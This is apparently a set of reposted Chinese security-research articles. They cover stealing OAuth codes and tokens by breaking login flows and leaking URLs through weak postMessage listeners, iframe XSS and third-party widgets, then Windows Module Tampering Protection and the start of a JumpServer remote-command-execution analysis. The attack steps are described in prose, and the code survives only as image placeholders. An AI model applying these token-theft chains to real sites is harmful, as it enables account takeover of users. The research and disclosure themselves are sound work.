3.如果網站上加載了任何有趣的postMessage 偵聽器或任何其他第三方腳本，要注意。



4.嘗試將這個耗時的想法稱為“Project Dirty OAuth-Dancing”。



5.打開Bill Medley Jennifer Warnes 並開始使用。



在收集網站使用OAuth-provider的所有不同方式時，很明顯有一些可能的選擇和組合，不同的網站決定使用不同的回應類型和模式組合。完成後，我能夠將注意力集中在最流行的OAuth-provider上，然後看看我是否可以基於其他限定符過濾網站



使用OAuth-dance 時要注意的坑在成功使用OAuth-dance後，令牌會從網站的URL 中刪除。確保網站未正確使用代碼或令牌是使此攻擊起作用的第一步，因為我想自己竊取和使用代碼或令牌。



這可能會產生各種結果，但我們的想法是最終出現某種形式的錯誤頁面或類似的仍然加載第三方javascript 以便我們洩露令牌的頁面。



有多種方法可以打破OAuth-dance。這些使OAuth-dance無效的方法本身沒有任何影響，但如果受害者最終將代碼或令牌仍然放在URL中，並與location.href-leak 鏈接在一起，它們就變得很重要。



故意對“狀態”進行攻擊OAuth規范建議將狀態參數與response_type=code結合使用，以確保啟動流程的用戶也是在OAuth-dance 之後使用代碼來發布令牌的用戶。



但是，如果狀態值無效，代碼將不會被使用，因為驗證狀態是網站的責任。這意味著，如果攻擊者可以向具有有效攻擊狀態的受害者發送登錄流鏈接，那麼受害者的oaut -dance將失敗，代碼將永遠不會發送給OAuth-provider。如果攻擊者可以得到它，該代碼仍然可以使用。



1.攻擊者使用“使用X 登錄”在網站上啟動登錄流程。



2.攻擊者使用狀態值並為受害者構建一個鏈接，讓他們用OAuth-provider登錄，但使用攻擊者的狀態。



3.受害者使用該鏈接登錄並重定向回該網站。



4.網站驗證受害者的狀態並停止處理登錄流程，因為它不是一個有效狀態。受害者的錯誤頁面。



5.攻擊者找到了從錯誤頁面洩漏代碼的方法。



6.攻擊者現在可以使用自己的狀態和受害者洩露的代碼登錄。



響應類型/響應模式切換改變OAuth-dance的響應類型或響應模式將影響代碼或令牌返回網站的方式，這在大多數情況下會導致意想不到的行為。我還沒有看到任何OAuth-provider有限製網站想要支持的響應類型或模式的選項，所以根據OAuth-provider的不同，通常至少有兩種或更多的OAuth-provider可以在嘗試以不滿意的方式結束時進行更改。



還可以請求多個響應類型。有一個規範解釋了當請求多個響應類型時，如何向redirect-uri提供值：



如果在一個請求中，response_type只包含要求服務器返回在查詢字符串中完全編碼的數據的值，那麼這個多值response_type的響應中返回的數據必須在查詢字符串中完全編碼。此建議同時適用於成功響應和錯誤響應。



如果在一個請求中，response_type包含任何要求服務器返回在片段中完全編碼的數據的值，那麼響應中這個多值response_type返回的數據必須在片段中完全編碼。此建議同時適用於成功響應和錯誤響應。



如果正確地遵循了這個規範，這意味著你可以要求發送到網站的代碼參數，但如果你同時也要求id_token，代碼參數將在Fragment部分而不是在查詢字符串中發送。



對於Google 的登錄，這意味著：



 4.png



將重定向到https://example.com/callback?code=xxxstate=yyy。但是：



 5.png



將重定向到https://example.com/callback#code=xxxstate=yyyid_token=zzz。



如果你使用以下方法，同樣的想法也適用於Apple：



 6.png



你將被重定向到https://example.com/callback?code=xxxstate=yyy，但是：



 7.png



會將你重定向到https://example.com/callback#code=xxxstate=yyyid_token=zzz。



Redirect-uri大小寫轉換一些OAuth-provider允許在redirect_uri 的路徑中進行大小寫轉換，而不是真正遵循保護基於重定向的流程規範：



在將客戶端Redirect-uri與預註冊的URI 進行比較時，授權服務器必須使用精確的字符串匹配，本地應用程序的localhost Redirect-uri中的端口號除外。該措施有助於防止授權代碼和訪問令牌的洩漏，它還可以幫助檢測混淆攻擊。



這意味著，將https://example.com/callback 作為應用程序的配置重定向uri，以下流程仍然有效：



 8.png



並將你重定向到：https://example.com/CaLlBaCk#id_token=xxx。我測試過的所有網站都沒有使用不區分大小寫的路徑，因此大小寫轉換觸發了不太順暢的路徑，顯示錯誤或重定向到仍然存在Fragment的登錄頁面。



另請注意，使用response_type=code 這個方法更難被利用。在一個正確的OAuth-dance使用代碼中，在從服務提供者獲取訪問令牌的最後一步中，還必須提供redirect_uri 以向服務提供者進行驗證。如果OAuth-dance中使用的redirect_uri 與網站發送給提供者的值不匹配，則不會發出訪問令牌。但是，使用任何其他響應類型，例如token 或id_token，都不需要最後一步的驗證，因為token是在重定向中直接提供的。



增加Redirect-uri路徑



一些OAuth-provider允許將其他數據添加到redirect_uri 的路徑中。這也以與“Redirect-uri case shift”相同的方式破壞了規範。例如，有一個https://example.com/callbackredirect uri，發送一下內容：



 9.png



最終會重定向到https://example.com/callbackxxx#id_token。這已報告給受影響的供應商。此處適用與大小寫轉換相同的事情，對於response_type=code 這將不允許你發出令牌，因為在最後一步從提供者獲取令牌時會比較正確的redirect_uri。



增加Redirect-uri參數附加一些OAuth-provider允許向redirect_uri添加額外的查詢或Fragment參數。你可以通過提供將附加到URL的相同參數來觸發一個不太好用的路徑來使用它。例如，有一個https://example.com/callbackRedirect-uri，發送以下內容：



 10.png



在這些情況下會被重定向到https://example.com/callback?code=xxxcode=real-code。根據網站接收多個相同名稱的參數，這也可能會觸發一個不太好用的路徑。同樣適用於token和id_token：



 11.png



結果是https://example.com/callback#id_token=xxxid_token=real-id_token。根據javascript在有多個相同名稱的參數時獲取Fragment參數，這也可能會以一個不太好用的路徑結束。



Redirect-uri多餘內容或錯誤配置在收集所有包含redirect_uri值的登錄url時，我還可以測試其他重定向uri值是否也有效。在我測試的網站上保存的125個不同的谷歌登錄流程中，有5 個網站的起始頁也是有效的redirect_uri。例如，如果使用了redirect_uri=https://auth.example.com/callback，那麼在這5 種情況下，其中任何一種都是有效的：



redirect_uri=https://example.com/



redirect_uri=https://example.com



redirect_uri=https://www.example.com/



redirect_uri=https://www.example.com



這對於實際使用id_token或token的網站來說特別有趣，因為response_type=code仍然會讓OAuth-provider在獲取令牌時在OAuth-dance的最後一步驗證redirect_uri。



我最終找到了許多不太好用的路徑。怎麼辦？



我現在已經為所有網站收集了一堆不太好用的路徑。以下是我看到的不同案例：



1.最後出現在錯誤頁面上。



2.重定向到網站的起始頁。



3.重定向回登錄頁面。



4.重定向回已刪除參數的登錄頁面。



5.重定向回OAuth-provider，但具有正確的值，具有正確的響應類型和狀態，基本上識別流程無效並重試它。



我們計劃專注於1、2和3，因為它們的參數仍然保存在URL中。我還得出結論，避免不太好用路徑的最佳方案是第4條。



現在是時候真正開始尋找洩露信息的方法了。我仍然沒有發現真正的漏洞。



 12.png



由於postMessage-listener擴展還記錄頁面上的任何iframe是否有偵聽器，所以我開始關注那些在URL中有令牌的窗口的任何框架中至少有一個postMessage-listener的網站。



 13.png



URL 洩漏小工具



我會將洩漏URL 的不同方法歸類為不同的小工具，因為它們具有不同的屬性讓我們回顧一下我已經確定的不同類型的方法。



小工具1：洩漏URL 的弱或沒有源檢查postMessage-listeners



 14.png



這是預期的。一個示例是加載到網站上的流行網站的分析SDK：



 15.png



此SDK 公開了一個postMessage-listener，當消息類型匹配時，它會發送以下消息：



 16.png



從不同的來源向它發送消息：



 17.png



響應消息將顯示在發送包含網站location.href 消息的窗口中：



 18.png



可用於攻擊的流程取決於代碼和令牌用於登錄流程的方式，但攻擊場景是：



1.攻擊者向受害者發送一個精心製作的鏈接，該鏈接已準備好導致OAuth-dance 中的一條不太好用的路徑。



2.受害者點擊鏈接。新選項卡將打開一個登錄流程，其中包含正在被利用的網站的一個OAuth-provider。



3.在被利用的網站上觸發了不太好用的路徑，易受攻擊的postMessage-listener 被加載到受害者登陸的頁面上，仍然在URL 中包含代碼或令牌。



4.攻擊者發送的原始tab 發送一堆postMessages-到帶有網站的新tab 以獲取postMessage-listener 以洩漏當前URL。



5.攻擊者發送的原始標籤，然後偵聽發送給它的消息。當URL在消息中返回時，代碼和令牌將被提取並發送給攻擊者。



6.攻擊者使用最終在不太好用路徑上的代碼或令牌以受害者身份登錄。



小工具2：獲取URL 的沙盒/第三方域上的XSS



 19.png



我們會在下一篇文章種介紹小工具2、小工具3，以及洩露URL 的其他途徑。


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
我們在上一篇文章中介紹了響應類型，如何通過postMessage 竊取令牌以及小工具1，本文接著講小工具2、小工具3，以及洩露URL 的其他途徑。



小工具2：示例1，從沙盒框架中竊取window.name我在5 月12 日報告了使用這個小工具在野外發現的第一條鏈：



 20.png



巧合的是，兩天后的5 月14 日，Youssef Sammouda 發表了一篇很棒的博文，解釋了他接管使用Gmail 的Facebook 帳戶的方法。這篇博文描述了我發現的類似流程。但是，該錯誤並不是要破壞OAuth-dance，而是通過使用允許加載任意javascript 的iframe:d 沙盒域來洩露受害者最終訪問的URL。沙盒訪問URL 中的敏感數據的原因是它在加載iframe 時附加到沙盒URL。



不過，我發現的案例有點不同。



第一個是在OAuth-dance結束的頁面上加載iframe。 iframe是window.location-object的json字符串版本。這是一種舊的跨域傳輸數據的方法，因為iframe中的頁面可以得到由父節點設置的自己的window.name：



 21.png



在iframe中加載的域也有一個簡單的XSS：



 22.png



正如Youssef解釋的那樣，如果你在一個窗口的一個域上有一個XSS，那麼如果窗口之間存在父/子/開啟者關係，則該窗口可以到達同源的其他窗口。



在示例中，我做了以下操作：



1.創建了一個惡意頁面，該頁面嵌入了沙盒的iframe，XSS 加載了我自己的腳本：



 23.png



2.在沙盒中加載腳本時，我將內容替換為受害者使用的鏈接：



 24.png



我還啟動了一個腳本，以檢查鏈接是否已打開，並且我想訪問的iframe 是否存在以獲取iframe 上設置的window.name 與攻擊者頁面上的iframe 相同的來源：



 25.png



3.然後，攻擊者頁面可以只偵聽我們剛剛發送的帶有window.name 的消息：



 26.png



小工具2：示例2，帶有XSS + 父源檢查的iframe第二個示例是使用postMessage 將iframe 加載到具有XSS 的不太好用的路徑上，但僅允許來自加載它的父窗口的消息。當它在給父窗口的消息中請求initConfig 時，location.href 被發送到iframe。



主窗口像這樣加載iframe：



 27.png



內容如下所示，這比實際情況要簡單得多，只是為了更好地解釋攻擊：



 28.png



在這種情況下，我可以執行與第一個示例類似的方法：



1.創建一個嵌入沙盒iframe 的惡意頁面，附加onload 以在加載iframe 時觸發腳本。



 29.png



2.由於惡意頁面是iframe 的父級，它可以向iframe 發送消息以使用postMessage 將我們的腳本加載到沙盒的來源：



 30.png



3.在沙盒中加載腳本時，我將內容替換為受害者的鏈接：



 31.png



我還啟動了一個腳本，以檢查鏈接是否已打開以及我想要訪問的iframe 是否存在，以便在其中運行javascript 從我的iframe 到主窗口。然後，我在惡意窗口中附加了一個postMessage 偵聽器，該偵聽器將消息傳遞回我的iframe：



 32.png



4.加載了iframe 的攻擊者頁面然後可以在主窗口的iframe 中偵聽我從注入的postMessage-listener 代理髮送的消息：



 33.png



小工具3：使用API 獲取越界URL



 34.png



這個小工具原來是最有趣的。把受害者送到某個地方然後從另一個地方獲取敏感數據，這讓人很滿意。



小工具3：示例1，沒有來源檢查的存儲框架第一個示例使用外部服務來跟踪數據。該服務添加了一個存儲框架：



 35.png



主窗口將使用postMessage 與此iframe 對話，以發送跟踪數據，這些跟踪數據將保存在storage.html 所在的源的localStorage 中：



 36.png



主窗口也可以獲取以下內容：



 37.png



當iframe 在初始化時加載時，使用location.href 為用戶的最後一個位置保存了一個項：



 38.png



如果你能以某種方式與這個來源對話，並讓它向你發送內容，那麼location.href 可以從這個存儲中獲取。該服務的postMessage-listener 有一個阻止列表和一個來源的允許列表。分析服務似乎允許網站定義允許或拒絕的來源：



 39.png



此外，如果你有一個基於allowList 的有效來源，你還可以請求同步，這將在此窗口中向你發送對localStorage 所做的任何更改。



在將這個存儲加載到OAuth-dance 的不太好用路徑上的網站上，沒有定義allowList-origins；如果源是窗口的父級，這允許任何源與postMessage-listener 對話。該方法類似於小工具2：



1.我創建了一個惡意頁面，該頁面嵌入了存儲容器的iframe，並附加了一個onload，以便在加載iframe時觸發腳本。



 40.png



2.由於惡意頁面現在是iframe的父頁面，並且在allowList中沒有定義任何起源，因此惡意頁面可以向iframe發送消息，告訴存儲發送對存儲的任何更新的消息。我還可以向惡意頁面添加一個偵聽器，以偵聽存儲中的任何同步更新：



 41.png



3.惡意頁面還包含一個供受害者點擊的常規鏈接：



 42.png



受害者會點擊該鏈接，通過OAuth-dance，最終進入加載跟踪腳本和存儲iframe 的不太好用路徑。存儲iframe 獲取last-url 的更新。自從localStorage 更新以來，window.storage-event 將在惡意頁面的iframe 中觸發，並且每當存儲更改時，當前正在獲取更新的惡意頁面將獲得帶有受害者當前URL 的postMessage：



 43.png



小工具3：示例2，CDN 中的客戶混淆——DIY 存儲——沒有來源檢查的SVG由於分析服務本身有一個漏洞賞金，我也有興趣看看我是否可以找到一種方法來洩露已經為storage-iframe 配置正確來源的網站的URL。



當我開始在線搜索沒有客戶部分的cdn.analytics.example.com 域時，我注意到這個CDN 還包含服務客戶上傳的圖像：



 44.png



我還注意到這個CDN 上有SVG 文件作為Content-type: image/svg+xml 內聯提供：



 45.png



我在該服務上註冊為試用用戶，並上傳了我自己的資產，該資產也出現在CDN 上：



 46.png



有趣的是，如果你隨後將特定於客戶的子域用於CDN，則仍然會提供圖像。 URL如下：



 47.png



這意味著ID #94342 的客戶可以在客戶#12345 的存儲中呈現SVG 文件。



我上傳了一個帶有簡單XSS 有效負載的SVG 文件：



 48.png



效果不是很好。 CDN 為img/下的所有內容添加了Content-Security-Policy: default-src 'self'-header。你還可以看到提到S3 的服務器標頭，這表明內容已上傳到S3 存儲桶：



 49.png



S3 的一個有趣的事情是目錄在S3 中並不是真正的目錄。項之前的路徑稱為“前綴”。這意味著S3 不關心/是否經過url 編碼，如果你對URL 中的每個斜杠進行url 編碼，它仍然會提供內容。如果我在URL 中將img/更改為img%2f ，仍然可以解析圖像。但是，在這種情況下，CSP-header 被刪除並觸發了XSS：



 50.png



然後我可以上傳一個SVG，該SVG 將創建與常規storage.html 相同形式的存儲處理程序和postMessage-listener，但允許列表為空。即使在正確定義了可以與存儲通信的允許來源的網站上，這也使我能夠進行相同類型的攻擊。



我上傳了一個看起來像這樣的SVG：



 51.png



然後我可以使用與示例#1 中相同的方法，但我可以使用url 編碼的斜杠iframe 而不是iframe 的storage.html：



 52.png



由於沒有網站能夠自行修補此問題，因此我向負責CDN 的分析提供商發送了一份報告：



 53.png



在第三方上查看錯誤配置產生漏洞的整個想法主要是確認有多種方法來實現令牌的洩漏，並且由於第三方有漏洞賞金，這只是同一種漏洞的不同接收者，不同之處在於影響是針對分析服務的所有客戶。在這種情況下，第三方的客戶實際上有能力正確配置該工具，使其不會將數據洩露給攻擊者。然而，由於敏感數據仍被發送給第三方，所以看看是否有某種方法可以完全繞過客戶對工具的正確配置是很有趣的。



小工具3：示例3，聊天小工具API最後一個例子是基於一個出現在網站所有頁面上的聊天小工具，甚至是錯誤頁面。有多個postMessage 偵聽器，其中一個沒有適當的來源檢查，只允許你啟動聊天彈出窗口。另一個偵聽器對聊天小工具進行了嚴格的來源檢查，以接收初始化調用和當前用戶使用的當前聊天API 令牌。



 54.png



聊天iframe 加載時：



1.如果chat-api-token 存在於chat-widget 的localStorage 中，它將使用postMessage 將api-token 發送給其父級。如果沒有chat-api-token 存在，它不會發送任何東西。



2.當iframe 加載後，它會向其父級發送一個帶有{'type': 'chat-widget', 'key': 'init'} 的postMessage。



如果你點擊主窗口中的聊天圖標：



1.如果chat-api-令牌還沒有被發送，那麼chat-widget會創建一個令牌，並將其放在自己的源的localStorage中，並將其postMessage發送給父窗口。



2.然後父窗口將對聊天服務進行API 調用。 API 終端被CORS 限制為為服務配置的特定網站。你必須使用chat-api-token 為API 調用提供有效的Origin-header 以允許發送請求。



3.來自主窗口的API 調用將包含location.href 並使用chat-api-token 將其註冊為訪問者的“當前頁面”。然後，響應將包含一些令牌，以連接到一個websocket來啟動聊天會話：



 55.png



在這個例子中，我意識到chat-api-token 的通知總是會通知給chat-widget iframe 的父級，如果我得到了chat-api-token，我可以使用令牌，然後將我自己的人工Origin-header 添加到API 調用中，因為CORS-header 僅對瀏覽器很重要。這導致了以下進程：



1.創建了一個嵌入聊天小工具iframe 的惡意頁面，添加了一個postMessage-listener 來偵聽chat-api-token。此外，如果在2 秒內沒有獲得api-token，則會觸發重新加載iframe 的事件。這是為了確保我也支持從未發起聊天的受害者，並且由於我可以觸發遠程打開聊天，我首先需要chat-api-token 開始輪詢聊天API 中的數據服務器端。



 56.png



2.添加了指向惡意頁面的鏈接以打開登錄流程，該流程最終將出現在帶有URL 中帶有令牌的聊天小工具的頁面上：


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
什麼是模塊篡改保護？模塊篡改保護是一種緩解措施，可防止對進程主映像的早期修改，例如IAT 掛鉤或進程空心化。它一共使用了三個API：NtQueryVirtualMemory、NtQueryInformationProcess 和NtMapViewOfSection。如果啟用，加載程序將在調用入口點之前檢查主圖像標頭和IAT 頁面中的更改。它通過使用信息類MemoryWorkingSetExInformation 調用NtQueryVirtualMemory 來做到這一點。返回的結構包含有關頁面共享狀態的信息，以及是否從其原始視圖修改。如果標頭或IAT 已從其原始映射修改。例如，如果主圖像已被取消映射，並且已在其位置映射了另一個圖像，則加載器將使用類ProcessImageSection 調用NtQueryInformationProcess 以獲取主圖像部分，然後將使用NtMapViewOfSection 重新映射它。這樣，新部分將被使用，篡改的圖像副本將被忽略。



此緩解從RS3 開始可用，並且可以使用PROCESS_CREATION_MITIGATION_POLICY2_MODULE_TAMPERING_PROTECTION_MASK 在進程創建時啟用。



模塊篡改保護緩解措施是如何發現的如果微軟從未宣布或記錄某些緩解措施，那人們如何才能發現這些緩解措施？因此，一個值得關注的好地方是EPROCESS 結構中的各種MitigationFlags 字段。目前存在三個MitigationFlags 字段（MitigationFlags、MitigationFlags2、MitigationsFlags3），每個字段包含32 位。在前兩個中，整個32位已經被使用，所以最近添加了MitigationFlags3，目前包含三個緩解措施，我相信很快會添加更多。這些標誌代表進程中啟用的緩解措施。例如，我們可以使用WinDbg 為當前進程打印EPROCESS.MitigationFlags：



 1.png



最後，在位28 和29 中，我們可以看到值EnableModuleTamperingProtection 和EnableModuleTamperingProtectionNoInherit。不幸的是，搜索這些名稱並沒有得到任何好的結果。有幾個網站只顯示結構而沒有解釋，一個模糊的堆棧溢出答案簡要提到了EnableModuleTamperingProtectionNoInherit 而沒有添加細節，還有這條推文：



 2.png



不出所料，最詳細的解釋是Alex Ionescu 2017 年發布的一條推文。這雖並不是完整的文檔，但它是一個開始。如果你已經了解並理解構成此緩解措施的概念，那麼這一系列的推文可能會非常清楚地解釋有關該特性的所有內容。



開始搜索進程緩解實現的第一個地方通常是內核：ntoskrnl.exe。然而，這是一個巨大的二進製文件，不容易搜索。似乎沒有與此緩解措施完全相關的函數名稱，所以沒有明顯的地方可以開始。



相反，你可以嘗試不同的方法並嘗試找到對EPROCESS 的MitigationFlags 字段的引用，並可以訪問這兩個標誌中的一個。但除非你可以訪問Windows 源代碼，否則沒有簡單的方法可以做到這一點。但是，你可以做的是利用EPROCESS 是一個大型結構並且MitigationFlags 存在於它的末尾，偏移量0x9D0 的事實。一種非常粗暴但有效的方法是使用IDA 搜索功能並蒐索所有對9D0h 的引用：



 3.png



這會很慢，因為它是一個很大的二進製文件，並且一些結果與EPROCESS 結構無關，因此你必須手動搜索結果。此外，僅查找對該字段的引用是不夠的，MitigationFlags 包含32 位，其中只有兩個與當前上下文相關。所以，你必須搜索所有的結果，找出以下情況：



0x9D0被用作EPROCESS結構的偏移量——因為無法保證知道每種情況使用的結構類型，儘管對於較大的偏移量，只有少數選項可以是相關的，它主要可以通過函數名稱和上下文來猜測。



比較或設置MitigationFlags字段為0x10000000 (EnableModuleTamperingProtection)或0x20000000 (EnableModuleTamperingProtectionNoInherit)。或者通過諸如bt或bts之類的彙編指令，按位數測試或設置位28或位29。



運行搜索後，結果看起來像這樣：



 4.png



你現在可以瀏覽結果並了解內核使用了哪些緩解標誌以及在哪些情況下使用。然後我會告訴你，這個努力完全沒有用，因為EnableModuleTamperingProtection 在內核中的一個地方被引用：PspApplyMitigationOptions，當創建一個新進程時調用：



 5.png



因此，內核會跟踪是否啟用了此緩解措施，但從不對其進行測試。這意味著緩解措施本身在其他地方實現。這種搜索可能對這種特定的緩解措施毫無用處，但它是找出緩解措施實現位置的幾種方法之一，並且對其他流程緩解措施很有用，所以我想提一下它。



現在讓我們回到模塊篡改保護，有時會實現進程緩解的第二個位置是ntdll.dll，它是每個進程中要加載的第一個用戶模式映像。此DLL 包含所有進程所需的加載程序、系統調用存根和許多其他基本組件。在這裡實現這種緩解是有意義的，因為顧名思義它與模塊加載有關，這通過ntdll.dll 中的加載器發生。此外，這是一個包含Alex 在他的推文中提到的功能的模塊。



即使我們沒有這條推文，只要打開ntdll 並蒐索“tampering”，我們就能很快找到一個結果：函數LdrpCheckPagesForTampering。尋找這個函數的調用者，我們看到它是從LdrpGetImportDescriptorForSnap調用的：



 6.png



在截圖的第一行，我們可以看到兩個檢查：第一個驗證當前正在處理的條目是主圖像，因此該模塊被加載到主圖像模塊中。第二個檢查是LdrSystemSllInitBlock.MitigationOptionsMap.Map中的兩個位。我們可以看到這裡檢查的確切字段只是因為我對LdrSystemDllInitBlock 應用了正確的類型，如果你在沒有應用正確類型的情況下查看這個函數，你會看到一些隨機的、未命名的內存地址被引用。 LdrSystemDllInitBlock 是一個數據結構，包含加載程序所需的所有全局信息，例如進程緩解選項。它沒有記錄，但具有符號中可用的PS_SYSTEM_DLL_INIT_BLOCK 類型，因此我們可以在此處使用它。請注意，雖然此結構在NTDLL 符號中不可用，而是你可以在ole32.dll 和combase.dll 的符號中找到它。 MitigationOptionsMap 字段只是三個ULONG64 的數組，其中包含標記為此過程設置的緩解選項的位。我們可以在WinBase.h 中找到所有緩解標誌的值。以下是模塊篡改保護的值：



 7.png



這些值與Map頂部的DWORD 相關，因此模塊篡改保護位實際上位於Map的第44 位，在Hex Rays 屏幕截圖中以及在PspApplyMitigationOptions 中檢查的是相同位。



現在我們知道該緩解措施在哪裡應用了檢查，因此我們可以開始查看實現並了解該緩解措施的作用。



實現細節再次查看LdrpGetImportDescriptorForSnap：在我們已經看到的兩次檢查之後，該函數獲取主圖像的NT 標頭並調用LdrpCheckPagesForTampering 兩次。第一次發送的地址是imageNtHeaders-OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]，圖像的導入表，大小為8 個字節。第二次使用NT 標頭本身的地址和大小調用該函數。如果這些頁面中的一個被認為被篡改了，LdrpMapCleanModuleView將被調用(根據名稱判斷)映射主圖像模塊的一個乾淨的視圖。



讓我們看看LdrpCheckPagesForTampering 內部，看看NTDLL 如何判斷一個頁面是否被篡改：



 8.png



首先，此函數計算請求的字節範圍內的頁數（在本文的兩個示例中，該數字都是1）。然後它分配內存並使用MemoryInformationClass==4 (MemoryWorkingSetExInformation) 調用ZwQueryVirtualMemory。這個系統調用和信息類是安全人員可能不太經常看到的，工作集是一種基於物理內存頁面當前狀態來管理和優先級排序的方法，因此大多數安全人員通常不感興趣。然而，工作集確實包含一些我們感興趣的屬性。具體來說，是“共享”標誌。



我不會在這裡詳細介紹映射和共享內存，因為它們在很多其他地方都有解釋。但簡而言之，系統盡量不復制內存，因為這意味著物理內存將很快被複製的頁面填滿，主要是那些屬於圖像和DLL 的頁面，像ntdll.dll 或kernel32.dll 的系統DLL被映射到大多數係統中的進程，因此在物理內存中為每個進程單獨創建一個副本只是浪費。因此，這些圖像頁面在所有進程之間共享。也就是說，除非以任何方式修改圖像。圖像頁面使用一種稱為“寫時復制(copy-on-write)”的特殊保護，它允許頁面可寫，但如果頁面被寫入，則會在物理內存中創建一個新副本。這意味著對DLL 的本地映射所做的任何更改（例如，用戶模式掛鉤的寫入或任何數據更改）都只會影響當前進程中的DLL。



這些設置保存為可以通過NtQueryVirtualMemory 查詢的標誌，這裡使用的信息類：MemoryWorkingSetExInformation。它將在MEMORY_WORKING_SET_EX_INFORMATION 結構中返回有關查詢頁面的數據：



 9.png



這個結構為你提供了被查詢的虛擬地址，以及包含頁面狀態信息的位，例如：它的有效性、保護以及它的共享狀態。有幾個不同的位與頁面的共享狀態相關：



共享——頁面是可共享的嗎？這並不一定意味著該頁當前與任何其他進程共享，但是，例如，除非進程特別請求，否則私有內存不會被共享。



ShareCount——此字段告訴你此頁面存在多少映射。對於當前未與任何其他進程共享的頁面，這將是1。對於與其他進程共享的頁面，這通常會更高。



SharedOriginal ——該標誌會告訴你該頁面是否存在映射。因此，如果一個頁面被修改，導致在物理內存中創建一個新副本，這將被設置為零，因為這不是頁面的原始映射。



此SharedOriginal 位是由LdrpCheckPagesForTampering 檢查的，以判斷此頁面是原始副本還是由於更改而創建的新副本。如果這不是原始副本，這意味著該頁面以某種方式被篡改，因此該函數將返回TRUE。 LdrpCheckPagesForTampering 對正在查詢的每個頁面運行此檢查，如果其中任何一個被篡改，則返回TRUE。



如果函數對任何檢查範圍返回TRUE，則調用LdrpMapCleanModuleView：



 10.png



這個函數簡短而簡單：它使用InformationClass==89 (ProcessImageSection) 調用NtQueryInformationProcess 來獲取主圖像的部分句柄，然後使用NtMapViewOfSection 重新映射它並關閉句柄。它將新部分的地址寫入DataTableEntry-SwitchBackContect，以代替原來的篡改映射。



為什麼該特性特別選擇檢查這兩個範圍——導入表和NT 標頭？這是因為這兩個地方經常會成為試圖虛化進程的攻擊者的目標。如果主圖像未映射並被惡意圖像替換，則NT 標頭將不同並被視為已篡改。進程空心化（Process hollowing）還可以篡改導入表，以指向與進程預期不同的函數。所以，這主要是一個反空心化的功能，目標是發現主圖像中的篡改企圖，並用一個沒有被篡改的新圖像副本替換它。



功能限制不幸的是，此功能相對有限。你可以啟用或禁用它，僅此而已。實現緩解的函數是內部調用，不能在外部調用。因此，例如，除非你自己編寫代碼（並手動映射模塊，因為這些部分的句柄不方便地存儲在任何地方），否則不可能將緩解擴展到其他模塊。此外，此緩解不包含日誌記錄或ETW 事件。當緩解通知在主圖像中被篡改時，它會靜默映射並使用新副本，並且不會留下任何痕跡供安全產品或團隊查找。唯一的提示是NtMapViewOfSection 將再次為主圖像調用並生成ETW 事件和內核回調。但這很可能會被忽視，因為它並不一定意味著發生了不好的事情，並且可能不會導致任何警報或對可能是真正的攻擊的重大調查。



從好的方面來說，這種緩解非常簡單和有用，如果你想實現它，則很容易模仿，例如檢測放置在你的進程上的鉤子並映射一個新的、未掛鉤的頁面副本以供使用。你可以這樣做，而不是使用直接系統調用！



該緩解措施有人使用過嗎？在WinDbg 中運行查詢，我沒有發現任何啟用模塊篡改保護的進程的結果。經過一番探索，我設法找到了一個啟用此功能的進程：SystemSettingsAdminFlows.exe。此過程在你打開Windows 設置菜單中的應用程序-可選功能時執行。我不知道為什麼這個特定的進程會使用這種緩解措施，或者為什麼它是唯一一個這樣做的，但這是迄今為止我設法找到的唯一一個啟用模塊篡改保護的過程。


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
0 简介
JumpServer是一款开源的堡垒机，是符合4A规范的运维安全审计系统，通俗来说就是跳板机。
2021年1月15日，JumpServer发布安全更新，修复了一处远程命令执行漏洞。由于JumpServer某些接口未做授权限制，攻击者可构造恶意请求获取敏感信息，或者执行相关操作控制其中所有机器，执行任意命令。
影响版本：
  • JumpServer < v2.6.2
  • JumpServer < v2.5.4
  • JumpServer < v2.4.5
  • JumpServer = v1.5.9
1. 漏洞分析
看修复代码的commit记录：https://github.com/jumpserver/jumpserver/commit/f04e2fa0905a7cd439d7f6118bc810894eed3f3e
发现是给CeleryLogWebsocket类的connect加上了身份认证。
import time
import os
import threading
import json

from common.utils import get_logger

from .celery.utils import get_celery_task_log_path
from .ansible.utils import get_ansible_task_log_path
from channels.generic.websocket import JsonWebsocketConsumer

logger = get_logger(__name__)


class TaskLogWebsocket(JsonWebsocketConsumer):
    disconnected = False

    log_types = {
        'celery': get_celery_task_log_path,
        'ansible': get_ansible_task_log_path
    }

    def connect(self):
        user = self.scope["user"]
        if user.is_authenticated and user.is_org_admin:
            self.accept()
        else:
            self.close()

    def get_log_path(self, task_id):
        func = self.log_types.get(self.log_type)
        if func:
            return func(task_id)

    def receive(self, text_data=None, bytes_data=None, **kwargs):
        data = json.loads(text_data)
        task_id = data.get('task')
        self.log_type = data.get('type', 'celery')
        if task_id:
            self.handle_task(task_id)

    def wait_util_log_path_exist(self, task_id):
        log_path = self.get_log_path(task_id)
        while not self.disconnected:
            if not os.path.exists(log_path):
                self.send_json({'message': '.', 'task': task_id})
                time.sleep(0.5)
                continue
            self.send_json({'message': '\r\n'})
            try:
                logger.debug('Task log path: {}'.format(log_path))
                task_log_f = open(log_path, 'rb')
                return task_log_f
            except OSError:
                return None

    def read_log_file(self, task_id):
        task_log_f = self.wait_util_log_path_exist(task_id)
        if not task_log_f:
            logger.debug('Task log file is None: {}'.format(task_id))
            return

        task_end_mark = []
        while not self.disconnected:
            data = task_log_f.read(4096)
            if data:
                data = data.replace(b'\n', b'\r\n')
                self.send_json(
                    {'message': data.decode(errors='ignore'), 'task': task_id}
                )
                if data.find(b'succeeded in') != -1:
                    task_end_mark.append(1)
                if data.find(bytes(task_id, 'utf8')) != -1:
                    task_end_mark.append(1)
            elif len(task_end_mark) == 2:
                logger.debug('Task log end: {}'.format(task_id))
                break
            time.sleep(0.2)
        task_log_f.close()

    def handle_task(self, task_id):
        logger.info("Task id: {}".format(task_id))
        thread = threading.Thread(target=self.read_log_file, args=(task_id,))
        thread.start()

    def disconnect(self, close_code):
        self.disconnected = True
        self.close()

查看这个类的http接口：
a0jolazqtkd14133.png
通过这个类可以知道，这个接口的访问链为：
访问ws/ops/tasks/log/
--> 进入TaskLogWebsocket类的receive函数
--> 进入TaskLogWebsocket类的handle_task函数
--> 进入TaskLogWebsocket类的read_log_file函数
